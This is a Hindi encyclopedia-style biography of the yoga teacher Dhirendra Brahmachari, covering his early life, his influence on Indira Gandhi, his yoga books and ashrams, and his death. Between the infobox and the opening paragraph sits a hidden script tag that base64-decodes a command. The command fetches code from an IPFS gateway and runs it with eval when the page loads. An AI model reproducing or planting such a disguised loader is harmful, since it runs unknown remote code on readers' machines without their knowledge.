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धीरेन्द्र ब्रह्मचारी  

धीरेन्द्र ब्रह्मचारी
पूरा नाम धीरेन्द्र ब्रह्मचारी
जन्म 12 फ़रवरी, 1924
जन्म भूमि मधुबनी, बिहार
मृत्यु 9 जून, 1994
अभिभावक पिता- बमभोल चौधरी
कर्म भूमि भारत
कर्म-क्षेत्र योग
मुख्य रचनाएँ ‘यौगिक सूक्ष्म व्यायाम’, 1956

‘योगासन विज्ञान’, 1970

प्रसिद्धि योगाचार्य
नागरिकता भारतीय
संबंधित लेख इंदिरा गाँधी
अन्य जानकारी स्वामी धीरेन्द्र ब्रह्मचारी दिल्ली स्थित ‘विश्वायतन योगाश्रम’ के संस्थापक थे, जिसकी स्थापना कलकत्ता (वर्तमान कोलकाता) में हुई थी और इस संस्था को दिल्ली स्थानंतरित कर दिया गया था। जिसे अब ‘मोरारजी देसाई राष्ट्रीय योग संस्थान’ के रूप में जाना जाता है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>धीरेन्द्र ब्रह्मचारी (अंग्रेज़ी: Dhirendra Brahmachari, जन्म- 12 फ़रवरी, 1924; मृत्यु- 9 जून, 1994) भारतीय योगाचार्य थे। उनका बचपन का नाम ‘धीरचन्द्र चौधरी’ था। वह भारत की भूतपूर्व प्रधानमंत्री इंदिरा गाँधी के योग संरक्षक रहे थे। धीरेन्द्र ब्रह्मचारी ने दिल्ली, जम्मू, कटरा और मानतलाई (जम्मू और कश्मीर) में योग आश्रमों का संचालन किया। उन्होंने योग से सम्बंधित कई पुस्तकों की भी रचना की। धीरेन्द्र ब्रह्मचारी बिहार के मधुबनी ज़िले के रहने वाले थे, लेकिन योग की दीक्षा उन्हें उत्तर प्रदेश में मिली। उन्होंने 13 साल की उम्र में घर छोड़ दिया और गंगा के किनारे वाराणसी (वर्तमान बनारस) को अपनी कर्मस्थली बना लिया। वाराणसी के प्रसिद्ध महर्षि कार्तिकेय से उन्होंने योग सीखा और कहा जाता है कि बाद में वह तंत्र-मंत्र और गुप्त अनुष्ठानों में भी पारंगत हो गए।

परिचय

धीरेन्द्र ब्रह्मचारी का जन्म गांव चानपुरा बासैठ, मधुबनी, बिहार में 12 फ़रवरी, 1924 को हुआ था। उनका बचपन का नाम धीरचन्द्र चौधरी तथा इनके पिता का नाम बमभोल चौधरी था। धीरेन्द्र ब्रह्मचारी भूतपूर्व प्रधानमंत्री इंदिरा गाँधी के योग संरक्षक थे। उन्होंने दिल्ली, जम्मू, कटरा और मानतलाई (जम्मू और कश्मीर) में योग आश्रम का संचालन किया और योग विषय से सम्बन्धित विभिन्न पुस्तकें लिखी।

इंदिरा गाँधी के हितेषी

बेशक, इंदिरा गाँधी की जड़ें उत्तर प्रदेश में थीं, लेकिन उन पर बिहार के योगी धीरेन्द्र ब्रह्मचारी का बड़ा प्रभाव था। कहा जाता है कि इंदिरा गाँधी को उनकी तांत्रिक शक्तियों पर बड़ा विश्वास था। धीरेन्द्र ब्रह्मचारी भी इंदिरा गाँधी को हर संकट से बचाकर रखना अपना फर्ज समझते थे। लिहाजा एक दिन इंटेलिजेंस ब्यूरो के कार्यालय की घंटियां बजने लगीं। आईबी के पूर्व संयुक्त निदेशक मलयकृष्ण धर की किताब 'ओपन सीक्रेट' के मुताबिक उन्हें इंदिरा गाँधी के ख़िलाफ़ किए जा रहे कथित 'मारण अनुष्ठान' को रोकने का आदेश मिला था। दरअसल, धीरेन्द्र ब्रह्मचारी को आशंका थी कि श्रीमती गाँधी को नुकसान पहुंचाने के लिए उनके ही कैबिनेट का एक ताकतवर मंत्री तांत्रिकों की मदद ले रहा है। इस उद्देश्य से ही वह कैबिनेट मंत्री दिल्ली के ही प्राचीन, निगम बोध श्मशान घाट से 'मारण यज्ञ' करा रहा है।

देश की आंतरिक गुप्तचर एजेंसी की कार्यप्रणाली पर लिखी गई किताब 'ओपन सीक्रेट' के मुताबिक इस 'मारण यज्ञ' को रोकने की जिम्मेदारी मलयकृष्ण धर को ही दी गई। इसके बाद इंटेलिजेंस ब्यूरो के जासूस कई रातों तक दिल्ली के कई श्मशान घाटों की खाक छानते रहे। हालांकि अंत तक इस कथित यज्ञ का रहस्य नहीं खुल पाया। धर ने अपनी जांच में इस आशंका को बेबुनियाद पाया, लेकिन धीरेन्द्र ब्रह्मचारी उनकी जांच के नतीजों से खुश नहीं हुए। मलयकृष्ण ने जिक्र किया है कि धीरेन्द्र ब्रह्मचारी ने खुद उनसे सवाल-जवाब किया। धीरेन्द्र ब्रह्मचारी ने धर से एक खास दिन शमशान में उस मंत्री के जाने के बारे में दरयाफ्त किया। धर ने जब बताया कि उस दिन वह मंत्री शमशान गया था। इस पर ब्रह्मचारी ने उनसे पूछा कि तब भी क्या वह यकीन के साथ कह सकते हैं कि यज्ञ नहीं हुआ। इस पर मलयकृष्ण धर ने पूरे यकीन से जवाब दिया कि यज्ञ नहीं हुआ। इंटेलिजेंस ब्यूरो की इस रिपोर्ट के बावजूद धीरेन्द्र ब्रह्मचारी, धर की जांच से संतुष्ठ नहीं थे। हालांकि 'मारण यज्ञ' हुआ था या नहीं यह सच्चाई कभी सामने नहीं आ सकी।

आध्यात्मिक जीवन की शुरुआत

योग ग्रंथ श्रीमद् भगवद्गीता पढ़ने से प्रेरित होकर धीरेन्द्र ब्रह्मचारी ने 13 साल की उम्र में घर छोड़ दिया और वाराणसी चले गये। आध्यात्मिक गुरु की खोज में अपने परिवार का परित्याग करने के कारण उन्होंने गहन रुचि के साथ अपने आध्यात्मिक जीवन की शुरूआत एक दुरूह मार्ग के रूप में की। प्रकाश और अंधेरे के बीच लड़ाई के कई वर्षों के बाद उन्होंने गुरु के रूप में महर्षि कार्तिकेय को स्वीकार किया, जिनका आश्रम लखनऊ के समीप गोपाल खेड़ा में था। वह वहाँ चले गये और 12 वर्षों तक वहाँ उन्होंने योग और उससे सम्बन्धित विषयों का अध्ययन किया। वहां उन्होंने योग के रहस्यों के सन्दर्भ में ज्ञान प्राप्त करना शुरू किया। अपने गुरु महर्षि कार्तिकेय के दिशा निर्देशों के अनुरूप उन्होंने एक भूमिगत गुफा में प्राणायाम का अभ्यास किया और स्वंय को एक स्वामी और एक सिद्ध योगी के रूप में परिवर्तित कर योग के सर्वोच्च लोकों में प्रवेश किया। इसके बाद उन्होंने अपने गुरु कार्तिकेय के आदेश के अनुसार योग की शिक्षाओं का प्रचार करना शुरू कर दिया।

लेखन कार्य

सन 1956 में धीरेन्द्र ब्रह्मचारी ने ‘यौगिक सूक्ष्म व्यायाम’ पुस्तक का लेखन योग के प्रचार-प्रसार के लिये किया। 1970 में योग मुद्राओं के सही व्यवहार के बारे में उनकी दूसरी पुस्तक ‘योगासन विज्ञान’ का प्रकाशन हुआ। इसके अतिक्ति योग पर विविध पुस्तकें लिखीं। जम्मू के समीप स्थित उनका आश्रम बहुत भव्य और विशाल था। वहाँ योग शिक्षण प्रशिक्षण से सम्बन्धित विभिन्न गतिविधियाँ संचालित होती थी। वहाँ प्रशिक्षित बहुत से शिक्षक वर्तमान समय में योग सस्थानों में विभिन्न प्रतिष्ठित पदों पर कार्यरत हैं।

हठयोग विशेषज्ञ

सन 1960 के दशक में उन्हें सोवियत अंतरिक्ष यात्रियों को प्रशिक्षित करने के लिए सोवियत संघ की यात्रा के लिए आमंत्रित किया गया। वह उस समय हठयोग के विशेषज्ञ माने जाते थे। उन्होंने विभिन्न हठयौगिक क्रियाओं को जन सामान्य के समक्ष प्रस्तुत किया और जनमानस में हठयोग के प्रति जागरूकता उत्पन्न की। 1970 के दशक में, धीरेन्द्र ब्रह्मचारी ने दूरदर्शन पर एक साप्ताहिक प्रसारण के माध्यम से लोगों को योग के प्रति जागरूक किया।

योग विषय की शुरुआत

इसी समय उन्होंने सरकारी स्कूलों में अध्ययन के एक विषय के रूप में योग विषय की शुरुआत करने की पहल की। उन्हीं के प्रयासों द्वारा सन 1981 में मानव संसाधन विकास मंत्रालय के अधीन केन्द्रीय विद्यालय के स्कूलों में योग की कक्षाओं का संचालन प्रारम्भ हुआ।

विश्वायतन योगाश्रम

स्वामी धीरेन्द्र ब्रह्मचारी दिल्ली स्थित ‘विश्वायतन योगाश्रम’ के संस्थापक थे, जिसकी स्थापना कलकत्ता (वर्तमान कोलकाता) में हुई थी और इस संस्था को दिल्ली स्थानंतरित कर दिया गया था। जिसे अब ‘मोरारजी देसाई राष्ट्रीय योग संस्थान’ के रूप में जाना जाता है। धीरेन्द्र ब्रह्मचारी जी के जीवन के अन्तिम दशक का समय विभिन्न आरोप-प्रत्यारोपों में उलझ गया। इन आरोप-प्रत्यारोपों को अलग रखकर विचार करने पर ज्ञात होता है कि स्वामी धीरेन्द्र ब्रह्मचारी का जीवन विभिन्न यौगिक विभूतियों से सम्पन्न था और उन्होंने योग के प्रचार-प्रसार के लिये सार्थक प्रयास किये थे।

मृत्यु

9 जून, सन 1994 को एक निजी विमान से यात्रा करते समय स्वामी धीरेन्द्र ब्रह्मचारी के जीवन की लीला समाप्त हो गयी और उन्होंने अपने शरीर को त्याग दिया।


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टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

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